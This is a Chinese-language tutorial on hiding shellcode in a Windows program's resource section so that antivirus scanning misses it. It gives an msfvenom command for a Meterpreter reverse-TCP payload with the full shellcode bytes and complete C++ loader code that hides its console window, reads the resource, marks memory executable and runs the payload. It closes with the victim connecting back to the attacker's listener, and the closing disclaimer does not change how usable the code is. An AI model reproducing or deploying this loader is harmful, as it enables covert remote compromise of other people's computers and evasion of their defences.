利用资源文件加载ShellCode载荷

当我们开发Windows应用程序时,通常会涉及到使用资源(Resource)的情况。资源可以包括图标、位图、字符串、配置文件等,它们以二进制形式嵌入到可执行文件中,通过利用资源区我们可以插入自定义的ShellCode攻击载荷并以此来规避杀毒软件针对代码段的字符串扫描,来实现更好的免杀效果,提高载荷的生存周期。

对于ShellCode的动态加载技术,市面上的文章都将其直接放入到可执行文件的代码段中,放入到可执行文件代码段中的优势是可以直接通过指针的方式调用执行,而缺点也很明显,因为杀毒软件最重视的查杀区域恰恰是程序的代码段,而资源区为无法被执行的附加数据,对于杀毒软件来说并不会太重视该区域,若将ShellCode攻击载荷加密后放入到该区域,则程序中的代码段将不会保留有ShellCode特征字段,也就能更好的达到一定的免杀效果。

首先,读者可以在Kali系统中生成一段32位的ShellCode载荷,生成时需要指定本机的IP地址和端口信息,生成后的ShellCode通常保存在一个C语言格式的字符串数组中,将这段数组中的数据保存为shellcode.txt文本文件。

┌──(lyshark㉿kali)-[~]
└─$ msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.0.66.18 LPORT=9999 -f c
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7"
"\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01"
"\xd3\x8b\x48\x18\x50\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x42\x12\x68\x02\x00"
"\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

使用之前开源的LyInjector格式化工具,对此段ShellCode进行压缩处理,传入Format --path指定被压缩的文本文档,压缩后的效果如下所示;

D:\> LyInjector Format --path shellcode.txt
fce88f0000006089e531d2648b52308b520c8b52148b722831ff0fb74a2631c0ac3c617c022c20c1cf0d01c74975ef52578b52108b423c01d08b407885c0744c01d08b582001d38b48185085c9743c4931ff8b348b01d631c0acc1cf0d01c738e075f4037df83b7d2475e0588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12e980ffffff5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a680a004212680200270f89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5

接着,我们新建一个lyshark.ini配置文件,并将上述ShellCode拷贝到该配置文件内,在项目解决方案管理器上右键选中添加资源选项,如下图所示;

20240807124210

此时会弹出添加资源菜单,通过点击导入按钮并输入资源类型为LYSHARK点击确定保存这个更改,至此资源文件将被导入到项目中,如下图所示;

20240807124412

接着就是对资源的加载及读取实现,主要结构体 ResourceData 用于存储资源数据和大小。UseCustomResource 函数从资源文件中读取资源,动态分配内存并将资源数据拷贝到内存中,然后返回包含资源数据和大小的 ResourceData 结构体。FreeResourceData 函数用于释放动态分配的内存。

#define _CRT_SECURE_NO_WARNINGS

// 减小编译体积
#pragma comment(linker,"/INCREMENTAL:NO")

// 隐藏控制台CMD窗体
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#include <Windows.h>
#include <iostream>
#include <WinUser.h>
#include "resource.h"

// 结构体用于存储资源数据和大小
struct ResourceData
{
BYTE* data;
DWORD size;
};

// 函数用于加载资源并将其返回给调用者
ResourceData UseCustomResource()
{
ResourceData resourceData = { nullptr, 0 };

// 定位我们的自定义资源
HMODULE hModule = GetModuleHandle(NULL);
if (hModule == NULL)
{
return resourceData;
}

HRSRC hRsrc = FindResource(hModule, MAKEINTRESOURCE(IDR_LYSHARK1), TEXT("LYSHARK"));
if (hRsrc == NULL)
{
return resourceData;
}

// 获取资源大小
DWORD dwSize = SizeofResource(hModule, hRsrc);
if (dwSize == 0)
{
return resourceData;
}

// 加载资源
HGLOBAL hGlobal = LoadResource(hModule, hRsrc);
if (hGlobal == NULL)
{
return resourceData;
}

// 锁定资源
LPVOID lpVoid = LockResource(hGlobal);
if (lpVoid == NULL)
{
// 在返回前释放资源
FreeResource(hGlobal);
return resourceData;
}

// 动态分配内存以存储资源数据
BYTE* pResourceData = (BYTE*)malloc(dwSize);
if (pResourceData == NULL)
{
FreeResource(hGlobal);
return resourceData;
}

// 将资源数据拷贝到分配的内存中
memset(pResourceData, 0, dwSize);
memcpy(pResourceData, lpVoid, dwSize);

// 设置返回的资源数据和大小
resourceData.data = pResourceData;
resourceData.size = dwSize;

// 不再需要释放资源句柄,因为我们已经将数据拷贝到独立的内存中
return resourceData;
}

// 函数用于释放资源数据
void FreeResourceData(ResourceData& resourceData)
{
if (resourceData.data)
{
free(resourceData.data);
resourceData.data = nullptr;
resourceData.size = 0;
}
}

通过调用InjectSelfCode函数,该函数接收一段ShellCode字符串,并将此字符串根据%2X格式在内存中展开,当布置结束后直接通过调用((void(*)())exec)()完成ShellCode的反弹执行功能,其完整案例如下所示;

// 注入代码并运行
void InjectSelfCode(char* shellcode)
{
if (shellcode == NULL)
{
return;
}

unsigned int char_in_hex;
size_t shellcode_length = strlen(shellcode);

// shellcode 必须是偶数个字符长度
if (shellcode_length % 2 != 0)
{
return;
}

// 计算分配内存的大小
size_t memory_allocation = shellcode_length / 2;

// 临时数组用于存储转换后的字节
char* binary_shellcode = (char*)malloc(memory_allocation);
if (binary_shellcode == NULL)
{
return;
}

// 将 shellcode 从十六进制字符串转换为字节数组
for (size_t i = 0; i < memory_allocation; ++i)
{
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
binary_shellcode[i] = (char)char_in_hex;
}

// 分配可执行内存
void* exec = VirtualAlloc(NULL, memory_allocation, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (exec == NULL)
{
free(binary_shellcode);
return;
}

// 将 shellcode 复制到分配的内存中
memcpy(exec, binary_shellcode, memory_allocation);

// 修改内存保护属性为可执行
DWORD oldProtect;
if (!VirtualProtect(exec, memory_allocation, PAGE_EXECUTE_READ, &oldProtect))
{
VirtualFree(exec, 0, MEM_RELEASE);
free(binary_shellcode);
return;
}

// 执行 shellcode
((void(*)())exec)();

// 释放内存
VirtualFree(exec, 0, MEM_RELEASE);
free(binary_shellcode);
}

最后一段是主函数执行部分,首先调用UseCustomResource函数得到程序中资源文件字符串,并经此字符串放入到resourceData结构体内存储,通过调用resourceData.size可得到字符串长度,调用resourceData.data则可得到字符串数据,将数据传入InjectSelfCode函数内即可实现注入并执行的目的,为了防止资源被释放此处使用一个while(1)让程序一直运行下去。

int main(int argc, char* argv[])
{
ResourceData resourceData = UseCustomResource();
if (resourceData.data != nullptr)
{
printf("ResourceSize: %d byte \n", resourceData.size);
InjectSelfCode((char *)resourceData.data);
while (1)
{
}

// 使用完资源数据后,释放内存
FreeResourceData(resourceData);
}
return 0;
}

读者可自行将这段程序组合起来,为了能让程序足够小,在编译之前需要更改几个编译选项,首先点击Visual Studio中的调试菜单选中属性页面,找到配置属性页面,并依次修改如下配置参数;

  • 配置属性->C/C++ -> (优化 -> 选择完全优化)|(优化大小或速度->选择代码大小优先)
  • 配置属性->C/C++ -> 预编译头->选择不使用预编译头
  • 配置属性->链接器->常规->启用增量链接->是
  • 配置属性->链接器->清单文件->生成清单->否
  • 配置属性->链接器->调试->生成调试信息->否
  • 配置属性->链接器->高级->合并节->输入.rdata-.text

通过上述优化配置以后,生成的可执行文件将被压缩为10KB以内,我们在Kali系统中启动一个侦听器,并在客户端上以管理员身份运行lyshark.exe程序,此时回到攻击主机即可看到客户端已上线。

20240807132446

警告:本篇文章中所涉及的内容仅用于技术交流与研究之用,仅允许被用于正规用途或学习目的,请读者自觉遵守相关法规,禁止滥用。